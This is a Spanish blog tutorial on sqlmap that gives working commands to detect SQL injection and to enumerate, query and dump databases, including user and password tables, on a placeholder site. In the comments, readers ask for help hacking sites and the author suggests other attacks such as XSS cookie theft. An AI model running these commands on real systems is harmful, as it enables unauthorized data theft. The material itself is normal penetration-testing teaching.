4 abril, 2013 a las 20:05

mysqlLas inyecciones de SQL llevan siendo desde hace años el top de vulnerabilidades Web ya que es fácil cometer un error al validar una entrada, bien por despiste del programador o por desconocimiento. Detectarlas son medianamente fácil mediante el método de ensayo-error, pero justo por eso hay veces se torna una tarea tediosa. Por esto nació SQLmap, que se encargará de probar múltiples combinaciones  hasta dar con una válida. Además, una vez encontrada nos permitirá realizar acciones como descargar la base de datos o consultas SQL. Durante la primera entrega aprenderemos a buscar vulnerabilidades de una Web a través de las variables GET probando diferentes niveles de dificultad y una vez conseguido aprenderemos a ver las diferentes bases de datos, copiarlas a nuestro disco duro o ejecutar consultas SQL. Para seguir este curso debes conocer en qué consisten las inyecciones SQL.

Ejemplo básico de SQLmap para encontrar una vulnerabilidad en variables GET

Como todos sabemos, hay varias formas de enviar variables a un servidor Web, por un lado está GET, que incluye esta información de manera visible en la URL y por otro lado POST, que es aquella información enviada de forma transparente al usuario y generalmente usada en los formularios, pongamos un ejemplo de la típica Web de noticias en las que su URL termina con un id=NUMERO_NOTICIA, en nuestro ejemplo será http://ejemplo.com?id=3, si quisieramos lanzar un escaneo básico a esta Web deberiamos hacer

./sqlmap.py -u "http://ejemplo.com?id=3"

-u establece la URL a analizar, es muy importante poner la URL siempre entrecomillada, especialmente si queremos analizar mas de una variable ya que en caso contrario sqlmap no será capaz de reconocer mas que la primera de ellas.

Si la URL constara de mas de una variable y solo quisiéramos analizar una de ellas, manteniendo el resto estáticas utilizaremos el modificador -p “nombre_variable” para indicar que variable analizar, por ejemplo si tenemos la URL http://ejemplo.com/login.php?user=miguel&password=12345 y quisiéramos analizar la variable password deberiamos poner:

./sqlmap.py -u "http://ejemplo.com/login.php?user=miguel&password=12345" -p "password"

Una vez lanzado el proceso SQLmap comenzará a lanzar consultas en las diferentes variables de la URL hasta encontrar una válida, si no encontrara ninguna podríamos aumentar el nivel de dificultad, esto lanzará consultas mas complejas que intenten evitar los métodos mas conocidos de validación de entrada, si todo ha ido bien obtendremos algo como esto:

IMG_20130402_200250

Pero por el contrario si no se ha encontrado ninguna vulnerabilidad nos encontraremos un mensaje advirtiéndonos de que ninguna de las variables es vulnerable, si es así puedes probar el modificador --level=NUMERO para aumentar la dificultad, hay cinco niveles diferentes, otro modificador interesante es -v NUMERO, que como suele ser habitual se refiere al modo vervose de la aplicación, cuanto mas alto sea el numero mas información nos mostrará sqlmap mientras realiza el escaneo, viene muy bien si nos interesa revisar los encabezados que se reciben, etc y así asegurarnos de que no se le está pasando por alto nada a sqlmap

./sqlmap.py -u "http://ejemplo.com/login.php?id=4" --level=5 -v 3

Pero SQLmap es mucho mas que un puro escaner, lo realmente interesante de SQLmap es que una vez encontrada la vulnerabilidad nos ofrece multiples opciones interesantes para interactuar con la base de datos, por ejemplo, si queremos obtener un listado con las bases de datos existentes bastaría con usar el modificador --dbs

./sqlmap.py -u "http://ejemplo.com/login.php?id=4" --dbs

A lo que obtendremos algo como

Captura

Donde vemos que ha encontrado dos bases de datos, si quisiéramos saber cuál es la base de datos actual a la que estamos conectados tendríamos que usar el modificador --current-db

Otro modificador interesante es --tables el cual nos permite ver el nombre de las tablas. Por defecto mostraría las tablas de todas las bases de datos, pero si quisiéramos ver únicamente las tablas de una base de datos en concreto añadiremos el modificador -D “nombre_base_datos”

./sqlmap.py -u "http://ejemplo.com/login.php?id=4" --tables -D information_schema

Nos mostraría el nombre de las tablas de la base de datos information_schema

Captura

Es interesante saber que toda la información extraída la va guardando en ficheros de texto dentro de la carpeta output.

Además podemos ejecutar arbitrariamente una sentencia SQL mediante el modificador --sql-query=”CONSULTA SQL” por ejemplo

./sqlmap.py -u "http://ejemplo.com/login.php?id=4" --sql-query="SELECT user,pass FROM usuarios WHERE user LIKE '%admin%'"

Que nos daría en este caso algo parecido a esto

Captura

Otro modificador importante si vamos a realizar varias consultas SQL es --sql-shell el cual nos proporciona una shell de SQL para ejecutar las consultas que necesitemos.

./sqlmap.py -u "http://ejemplo.com/login.php?id=4" --sql-shell

Por último vamos a ver como guardar una copia de las bases de datos en nuestro PC mediante el modificador --dump, este modificador guardará todas las tablas por lo que es interesante utilizar el modificador -T “NOMBRE_TABLA” para dumpear únicamente aquello que nos interese

./sqlmap.py -u "http://ejemplo.com/login.php?id=4" --dump -T usuarios

Además de que el resultado nos lo va a mostrar nos va a generar un fichero csv que podemos abrir con cualquier programa como excel para consultarlo de una manera mas cómoda, si quisieramos seleccionar una base de datos diferente a la actual debemos usar el modificador --D “nombre_base_datos”

./sqlmap.py -u "http://ejemplo.com/login.php?id=4" --dump -D "information_schema" -T "GLOBAL_VARIABLES"

Captura

Si por el contrario estamos ansiosos de información podemos volcar todo el contenido de todas las bases de datos mediante el modificador --dump-all

./sqlmap.py -u "http://ejemplo.com/login.php?id=4" --dump-all

Y esto es todo por hoy hasta la próxima entrega en la que explicaremos otras funciones, no tan conocidas pero muy útiles y potentes de SQLmap.

Acerca de Miguel Díaz

Informático, enamorado de la programación, diseño Web y el deporte.
Categorías: Internet, Pentesting, Privacidad, Seguridad, Servidores. Etiquetas: , , , , , , , , .

8 comentarios en Pentesting: SQL Injection – Curso de SQLmap a fondo – Parte 1

  1.  palomito dice:

    hola gracias por ayudarme en mi pregunta sobre el foro…pero dime si hay otras maneras d e sacar la base de datos de alguna web ..aparte de el sql injection.??

    •  Miguel Díaz dice:

      Por norma general lo mas efectivo es SQL Injection, si el sitio no es vulnerable deberías intentar atacar otras capas del servidor, como versiones de mysql con bugs o que permitan conexiones remotas, bugs en apache, etc. En cualquier caso hay que saber buscar SQLi sin depender de SQLmap ya que a este se le escapan muchas veces inyecciones, xss para el robo de cookies, etc

  2.  holiss dice:

    Hola tengo una consulta a ver si me puedes ayudar.
    Mi sqlmap esta corriendo bajo Kali Linux y no encuentro por ningun lado los logs del mismo.
    Según sqlmap estan en /opt/laweb , pero he intentado acceder y no existe tanto el fichero como el archivo. Gracias por compartir tus conocimientos.

  3.  pepe nando dice:

    hola usos kali linux y no encuentro vulnerabilidades con sqlmaps ni siquiera paginas que yo ya e podido sacar su base de datos podrias ayudarme
    att: Pepe Nando

  4.  elman dice:

    hola como hago si la pagina q quiero hackear no tiene al final “id=X”

    •  H dice:

      Se debe capturar la petición con algún proxy, guardarla en un archivo de texto y ejecutar ese archivo con sqlmap.

      saludos!

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *